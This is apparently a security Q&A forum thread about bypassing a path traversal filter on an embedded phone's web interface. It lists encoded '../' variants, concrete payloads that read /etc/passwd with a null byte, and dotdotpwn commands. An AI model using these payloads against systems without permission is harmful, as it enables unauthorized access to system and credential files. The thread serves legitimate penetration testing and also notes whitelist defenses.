I have a Linux-based embedded system with web-interface for management purposes. According to one security paper, this web-server has rudimentary filter against directory traversal attacks in URL parameters. So in order to bypass the "../" filter, an URL with special strings needs to be used. What are the common path traversal filter bypass techniques?
2 Answers
There are various encodings you can try to enable you to bypass a filter:
- Try
/and\at the start of the folder name to try and reach the root directory. - Try
%2fand%5c(percent encoded versions of the above). - Try using 16-bit Unicode encoding (
.=%u002e,/=%u2215,\=%u2216). - Try double URL encoding (
.=%252e,/=%252f,\=%255c). - Try overlong UTF-8 Unicode encoding (
.can be%c0%2e,%e0%40%ae,%c0ae,/can be%c0%af,%e0%80%af,%c0%2f, etc,\can be%c0%5c,%c0%80%5c).
If you get a different response trying one of the above then you have managed to change either the execution path or the file system path that is being accessed. This may indicate that the particular sequence used may be worthy of additional investigation.
- 34,178
- 6
- 73
- 190
-
Thanks for all those encodings! Now I should use those instead of expected user input? I mean for example instead of
192.168.1.87/line_features.htm?l=1I need to use192.168.1.87/line_features.htm?l=%c0ae%c0ae%c0%2f%c0ae%c0ae%c0%2f%c0ae%c0ae%c0%2f%c0ae%c0ae%c0%2fetc/passwdand other similar combinations? – Martin Aug 17 '15 at 16:09 -
2Without knowing which server or the vulnerability this is hard to answer. Look especially for parameters that take a file parameter, and test as you described. – SilverlightFox Aug 18 '15 at 08:39
-
All the information I have is here. As much as I analyzed the phone (bootup) log files and did nmap service detection scans, then it does not seem to have some well-known web server. I also used the
dotdotpwntool(for exampledotdotpwn.pl -m http-url -u http://192.168.1.87/line_features.htm?l=TRAVERSAL -f /etc/passwd%00 -o unix -x 80 -U user -P passwd -k "user") in order to generate URL's automatically, but I feel like I'm just randomly trying. – Martin Aug 18 '15 at 11:41 -
I would guess that in the reference
The string [removed] at the end is necessarythat[removed]could be the null byte (%00). Bear in mind this is guess work and it is impossible to hack by proxy in such a way. – SilverlightFox Aug 20 '15 at 09:15 -
I see. I tested with
%00at the end when I useddotdotpwn.pl -m http-url -u http://192.168.1.87 /line_features.htm?l=TRAVERSAL -f /etc/passwd%00 -o unix -x 80 -k "root". This will send GET requests likeGET /line_features.htm?l=%2e.%c1%af%2e.%c1%afetc%c1%afpasswd%00 HTTP/1.1to phone. – Martin Aug 25 '15 at 09:58
For web app security, many common hacks are documented in the associated OWASP test guides and attack pages. OWASP provides a path traversal attack and testing guide.
The general concept is to use characters that can fool the path traversal code. Things like embedded nulls, unicode notation, and such can sometimes bypass the path traversal filter.
Note that a strong implementation will not be susceptible to any of these. It will use a character white-list and other measures that will prevent any of these tricks from succeeding.
- 14,842
- 4
- 39
- 55
-
Thanks! As I understand, first step is to enumerate all the parts of web-application which accept content from the user. For example
http://192.168.1.87/line_login.htm?l=1orhttp://192.168.1.87/index.htm?dialeddel=clear? I guess usually those are found by crawling the web-application and searching for?(query string) in URLs? – Martin Aug 17 '15 at 10:49 -
1That's a start but far from the entire process. Paths can be passed as POST data that won't show up in query parameters. Also, you could have an URL like
http://example.com/upload.jsp/c:/foo/barwhere thec:/foo/baris a filename. It is best if you are intimate with the functionality of the app you are testing to identify the path locations. – Neil Smithline Aug 17 '15 at 21:08
..//..//can be used, various encodings%252e%252e%252fis an example, and other techniques. – Aug 16 '15 at 22:39nmapservice and OS detection scans, I got fairly little information. All I can say is that phone firmware is based on Linux 2.6 for MIPS, uses /proc file-system, uses JFFS2 file-system and web-server type is unknown. Even debugging log provides fairly little information regarding web server. All it says is thatPHN: WEBSV: init http_https, protected 0. Security paper can be seen here. – Martin Aug 17 '15 at 10:37strings, first? Or did you get data off the phone with a logic analyzer? – Parthian Shot Aug 20 '15 at 23:17stringsas well, but finally according tobinwalkutility it turned out that firmware image is encrypted. – Martin Aug 25 '15 at 09:38